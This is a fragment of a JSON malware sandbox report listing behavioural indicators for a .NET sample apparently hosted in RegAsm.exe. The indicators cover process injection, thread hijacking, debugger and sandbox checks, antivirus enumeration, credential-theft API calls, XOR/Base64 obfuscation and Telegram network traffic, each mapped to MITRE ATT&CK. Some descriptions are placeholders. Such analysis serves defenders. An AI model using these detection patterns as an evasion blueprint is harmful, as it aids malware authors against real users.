\"system.io.compression.zipfile.dll\" (Source: \"00000000-00004412.00000000.80112.00370000.00000004.mdmp\")\n Found string \"system.io.compression.filesystem.dll\" (Source: \"00000000-00004412.00000000.80112.00370000.00000004.mdmp\")\n Found string \"system.io.compression.dll\" (Source: \"00000000-00004412.00000000.80112.00370000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to load content into memory (.NET)","description":"Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"GetDelegateForFunctionPointer\" in \"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"RegAsm.exe\" called \"RemoveDirectoryW\" with parameter %ALLUSERSPROFILE%\\GHIJJJEGDBFH (UID: 00000000-00001468)\n \"cmd.exe\" called \"RemoveDirectoryW\" with parameter %ALLUSERSPROFILE%\\GHIJJJEGDBFH (UID: 00000000-00004088)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$35","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"RegAsm.exe\" queried SystemProcessInformation at 00000000-00001468-00000105-8972209 [PID: 1468]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"00001468.000005BC.4588582.00430000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptBinaryToStringA\" (Indicator: \"CryptBinaryToStringA\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found api reference \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinaryA\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found api reference \"CryptBinaryToStringA\" (Indicator: \"CryptBinaryToStringA\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found api reference \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinaryA\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00001468-00000C2C-268802150\")\n Found reference to API \"BCryptImportKeyPair\" (Indicator: \"BCryptImportKey\"; Source: \"00000000-00001468-00000C2C-268804707\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00001468-00000C2C-268804941\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"\"RegAsm.exe\" called \"CryptStringToBinaryA\" with parameters {\"cchString\": \"0\"\n \"dwFlags\": \"1\"\n \"pcbBinary\": \"00000000\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$36","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptBinaryToStringA\" (Indicator: \"CryptBinaryToString\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00004412.00000000.80112.00370000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$37","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$38","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to detect sandbox environment via user account","description":"Found string \"WDAGUtilityAccount\" (File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found string \"WDAGUtilityAccount\" (Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-9009","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStringsA\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStringsA\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"UserName\" (Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found string \"GetUserNameA\" (Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004412-00000C2C-260896754\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004412-00000C2C-260899721\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001468-00000C2C-265285205\")\n Found reference to API \"GetAddrInfoExW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001468-00000C2C-265342206\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001468-00000C2C-265688706\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetUserObjectInformationW\" in file \"00001468.000005BC.4587958.00401000.wprm\"\n Found system information discovery API: \"GetSystemInfo\" in file \"00001468.000005BC.4589083.0043D000.wprm\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"00001468.000005BC.4589083.0043D000.wprm\"\n Found system information discovery API: \"GetUserObjectInformationW\" in \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004412)\n \"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00004412)\n \"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00004412)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004412)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"RegAsm.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001468)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"RegAsm.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00001468)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"RegAsm.exe\" called \"GetLocaleInfoW\" with parameter \"0\" - (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001468)\n \"cmd.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004088)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"Select * From AntiVirusProduct\" (Indicator: \"select * from \"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found string \"Select * From Win32_OperatingSystem\" (Indicator: \"select * from \"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found string \"Select * From Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found string \"Select * From AntiVirusProduct\" (Indicator: \"select * from \"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"570120,3484,3024,,RtlGetVersion,NTDLL.dll,\"252:06:24.024\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00004412.00000000.80112.00370000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Telegram Domain (t .me in TLS SNI)\" (SID: 2041933, Rev: 2, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"SURICATA HTTP Response excessive header repetition\" (SID: 2221036, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":".NET source code contains suspicious native API","description":"Observed API \"GetProcAddress\" in \"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":5,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineA\" (Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: 